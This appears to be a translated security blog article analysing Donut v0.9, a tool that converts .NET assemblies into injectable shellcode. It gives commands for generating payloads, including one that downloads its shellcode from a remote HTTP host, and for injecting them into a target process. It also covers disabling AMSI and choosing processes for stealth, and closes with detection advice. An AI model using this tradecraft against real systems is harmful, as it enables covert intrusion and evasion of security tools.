0x00 Preface
---
Donut is a shellcode generation tool that can convert .NET assemblies into shellcode. This represents a further exploitation of execute-assembly, offering higher stealth and stronger extensibility.
Combined with byt3bl33d3r's SILENTTRINITY, converting it into shellcode and performing injection broadens its applicability.
This article will test Donut, analyze the code in the Donut project piece by piece, and summarize the characteristics of this tool.
Note:
The version tested in this article uses Donut v0.9. New versions will add more features and are worth continuous attention.
Donut address:
https://github.com/TheWover/donut
Articles detailing Donut:
https://thewover.github.io/Introducing-Donut/
https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/
https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
0x01 Introduction
---
This article will cover the following content:
- Introduction to Related Technologies
- Source Code Structure
- Practical Testing
- Exploitation Analysis
0x02 Introduction to Related Technologies
---
1. Assembly.Load
Used to load .NET assemblies in the current process; cannot inject into other processes.
Test code for .NET assembly:
namespace ConsoleApplication1 |
A calculator will pop up when loading this .NET assembly, used for verification purposes
(1) PowerShell implementation of Assembly.Load
$bytes = [System.IO.File]::ReadAllBytes("ConsoleApplication1.exe") |
Note:
Refer to the previous article 'Analysis and Summary of Bypassing Applocker Using Assembly Load & LoadFile'
(2) C# Implementation of Assembly.Load
https://github.com/anthemtotheego/SharpCradle
The code implements downloading a .NET assembly from a remote server and loading it via Assembly.Load
2. execute-assembly
Load .NET assemblies from memory, capable of injecting into other processes in the form of a DLL
Note:
Refer to the previous article 'Analysis of Loading .NET Assemblies from Memory (execute-assembly) for Exploitation'
The entire process executes in memory without writing to the file system (DLL reflection is required for injection at this point)
The payload exists in DLL form and does not generate suspicious processes
Note:
If using LoadLibrary to load a DLL, the DLL must be written to the file system
3.Donut
Based on execute-assembly, implements loading .NET assemblies from memory in the form of shellcode
The advantage is that when injecting into other processes, it no longer relies on DLL reflection, making it more stealthy and easier to extend
More stealthy means no DLL exists when injecting into other processes
Easier to extend means any method capable of executing shellcode can use Donut, and secondary development based on Donut is also straightforward
0x03 Source Code Structure
---
For version 0.9 files
1. Subprojects
1.DemoCreateProcess
https://github.com/TheWover/donut/tree/master/DemoCreateProcess
A C# program that, after compilation, generates the file ClassLibrary.dll, which functions to launch a process using the two passed parameters
Can be converted into shellcode using Donut to test whether Donut's shellcode generation function works
2.DonutTest
https://github.com/TheWover/donut/tree/master/DonutTest
C# program, after compilation generates file DonutTest.exe, used to inject shellcode into a process with specified PID
Implementation details:
Store base64-encrypted shellcode in an array, decrypt it and inject into the specified process via CreateRemoteThread
3.rundotnet.cpp
https://github.com/TheWover/donut/blob/master/DonutTest/rundotnet.cpp
C program, compiled file is rundotnet.exe, used to read specified files and load .NET assemblies from memory using CLR
Method for loading .NET assemblies from memory:
- Use the latest version of .Net in the current system
- Use ICorRuntimeHost interface
- Use Load_3(...) to read and load the Main method of .NET assemblies from memory
4.ModuleMonitor
https://github.com/TheWover/donut/tree/master/ModuleMonitor
Use WMI event Win32_ModuleLoadTrace to monitor module loading, will flag if CLR injection is detected
WMI event Win32_ModuleLoadTrace:
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/win32-moduleloadtrace
Methods for detecting CLR injection in a program:
If a process loads the CLR but the program is not a .NET assembly, then the CLR has been injected into it
Methods for detecting whether a process loads the CLR in a program:
Check if the process has loaded CLR-related DLLs (mscoree.dll, mscoreei.dll, and mscorlib.dll), where the DLL names start with "msco"
This project is generally used for defensive detection to check whether CLR injection events occur in the system. Therefore, after startup, the process runs continuously, recording events of new modules being loaded in real time
Here, tasklist.exe can also achieve similar functionality with the following command:
tasklist /m msco* |
This command can identify which processes have called DLLs starting with "msco"
5.ProcessManager
https://github.com/TheWover/donut/tree/master/ProcessManager
Used to enumerate processes on the current or remote computer
Similar to the functionality of tasklist.exe, with the following additional features:
- Determine process privileges
- Determine process architecture (32-bit or 64-bit)
- Determine whether a process has loaded the CLR
2. Components
1. https://github.com/TheWover/donut/blob/master/payload/payload.c
Key functionalities of Donut, implementing the following operations:
(1) Obtain and decrypt shellcode
Two methods are provided:
- Read shellcode and decryption key from payload.h
- Download shellcode and decryption key from an HTTP server
(2) Load .NET assemblies from memory using CLR
- Call the ICLRMetaHost::GetRuntime method to obtain an ICLRRuntimeInfo pointer
- Use the ICorRuntimeHost interface
- Attempt to disable AMSI and WLDP
- Use Load_3(...) to read from memory
Note:
Details on disabling AMSI and WLDP:
https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
Noteworthy points:
Typically, using the ICorRuntimeHost interface requires calling mscorlib.tlb
Here, mscorlib.tlb is not used; it is implemented through manual definition
For more details, refer to:
https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/
2. https://github.com/TheWover/donut/tree/master/payload/exe2h
Used to convert exe to shellcode and save it into an array
Extract compiled machine code (including dll and decryption key) from the .text section of payload.exe, and save it as an array in payload_exe_x64.h or payload_exe_x86.h
3. https://github.com/TheWover/donut/blob/master/payload/payload_exe_x64.h
Stores 64-bit machine code (including dll and decryption key)
4. https://github.com/TheWover/donut/blob/master/payload/payload_exe_x86.h
Stores 32-bit machine code (including dll and decryption key)
5. https://github.com/TheWover/donut/blob/master/payload/inject.c
Uses RtlCreateUserThread to inject shellcode into a specified process
Can be used to test the functionality of injecting shellcode into a specified process
6.https://github.com/TheWover/donut/blob/master/payload/runsc.c
C/S architecture, two functions: can send and receive shellcode and execute it
Used to test the functionality of payload.bin
7.https://github.com/TheWover/donut/blob/master/encrypt.c
Implementation of symmetric encryption
8.https://github.com/TheWover/donut/blob/master/hash.c
API Hashing, using Maru hash here
9.https://github.com/TheWover/donut/blob/master/donut.c
Main program, used to convert .NET assemblies into shellcode
0x04 Actual Testing
---
1. Select test dll
Using the subproject DemoCreateProcess here
After compilation, generates the file ClassLibrary.dll
2. Use Donut to generate shellcode
64-bit:
donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe |
32-bit:
donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe |
After executing the command, the file payload.bin is generated.
If the -u option is specified to set a URL, an additional Module file with a random name will be generated, as shown in the following example:
donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http://192.168.1.1 |
The files payload.bin and YX63F37T are generated.
Upload YX63F37T to http://192.168.1.1.
Next, execute payload.bin by injecting shellcode. payload.bin will download the actual shellcode from http://192.168.1.1/YX63F37T and execute it.
3. View Process Information
Here, the sub-project ProcessManager is used.
After listing the processes, if the Managed option is True, it indicates that the process has already loaded the CLR.
ProcessManager supports filtering specific processes, for example, to view only the process information of notepad.exe, use the following command:
ProcessManager.exe --name notepad |
4. Inject shellcode
Assume the target process is 3306
(1) Using sub-project DonutTest
Base64 encode payload.bin and save it to the clipboard, PowerShell command as follows:
$filename = "payload.bin" |
Replace the corresponding variable in the DonutTest project, after successful compilation execute the following command:
DonutTest.exe 3306 |
(2) Using RtlCreateUserThread
https://github.com/TheWover/donut/blob/master/payload/inject.c
Command as follows:
inject.exe 3306 payload.bin |
5. Detection
List processes that have loaded CLR but are not .NET assemblies, command as follows:
tasklist /m msco* |
0x05 Exploitation Analysis
---
Donut can convert .NET assemblies into shellcode
This means that programs developed using C# can be converted into shellcode via Donut
Given current trends, open-source C# tools are increasingly prevalent, for example:
- https://github.com/GhostPack/SharpWMI
- https://github.com/checkymander/Sharp-WMIExec
- https://github.com/jnqpblc/SharpTask
In penetration testing, C# will gradually replace PowerShell, and the use of Donut will also become a trend
Exploitation methodology for Donut:
- Convert .NET assemblies into shellcode, for instance, for use with SILENTTRINITY
- Integrate as a module into other tools
- Extended functionality: Supports migrate capabilities similar to meterpreter
For greater stealth, one can first use ProcessManager to enumerate processes that have already loaded the CLR and then inject into them
Detection of Donut:
Donut needs to use CLR to load .NET assemblies from memory. The following detection methods can be employed:
- The process is not a .NET assembly
- The process loaded CLR-related DLLs (DLLs starting with "msco")
Note:
Normal programs may also exhibit this behavior
Two detection methods:
- Use the command: tasklist /m msco*
- Use WMI event Win32_ModuleLoadTrace to monitor module loading
Focus monitoring on processes meeting the above conditions
0x06 Summary
---
This article conducted testing and analysis on Donut, summarized exploitation ideas, and provided defense recommendations. Donut is worthy of in-depth study, and new versions of Donut are anticipated.